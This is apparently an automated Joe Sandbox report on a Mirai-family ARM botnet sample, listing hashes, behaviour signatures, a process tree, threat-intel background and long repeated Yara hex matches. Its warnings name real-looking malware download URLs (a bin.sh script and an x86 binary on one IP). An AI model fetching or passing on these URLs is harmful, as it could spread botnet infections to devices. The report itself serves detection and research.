Edit tour

Linux Analysis Report
ewe.arm.elf

Overview

General Information

Sample name:	ewe.arm.elf
Analysis ID:	1625371
MD5:	625cbeb9d218691ba7273116cf71a8dc
SHA1:	565482dc2446490d0c4c46274ba12ce19e841cba
SHA256:	fa31079252a920fdff36e8dd0944fd8f700efeb7f2058d12351d51a894023f83
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1625371
Start date and time:	2025-02-27 07:07:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	ewe.arm.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@2/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: http://139.59.126.134/bin.sh;
VT rate limit hit for: http://139.59.126.134/bns/x86

Runtime Messages

Command:	/tmp/ewe.arm.elf
PID:	5581
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected By Cult
Standard Error:

Process Tree

system is lnxubuntu20

ewe.arm.elf (PID: 5581, Parent: 5498, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/ewe.arm.elf

ewe.arm.elf New Fork (PID: 5583, Parent: 5581)

ewe.arm.elf New Fork (PID: 5585, Parent: 5581)

ewe.arm.elf New Fork (PID: 5587, Parent: 5581)

ewe.arm.elf New Fork (PID: 5589, Parent: 5587)

ewe.arm.elf New Fork (PID: 5590, Parent: 5587)

ewe.arm.elf New Fork (PID: 5592, Parent: 5587)

ewe.arm.elf New Fork (PID: 5595, Parent: 5587)

ewe.arm.elf New Fork (PID: 5597, Parent: 5587)

ewe.arm.elf New Fork (PID: 5599, Parent: 5587)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ewe.arm.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
ewe.arm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
ewe.arm.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
ewe.arm.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64

Memory Dumps

Source	Rule	Description	Author	Strings
5585.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5585.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5585.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5585.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5581.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5581.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5581.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5581.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5589.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5589.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5589.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5589.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5597.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5597.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5597.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5597.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5592.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5592.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5592.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1072c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10740:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10754:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5592.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x10b1c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5587.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5587.1.00007f4404017000.00007f4404029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5587.1.00007f4404017000.00007f4404029000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x105c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x105ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10600:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10614:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10628:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1063c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10650:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10664:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10678:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1068c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x106f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10704:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10718:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 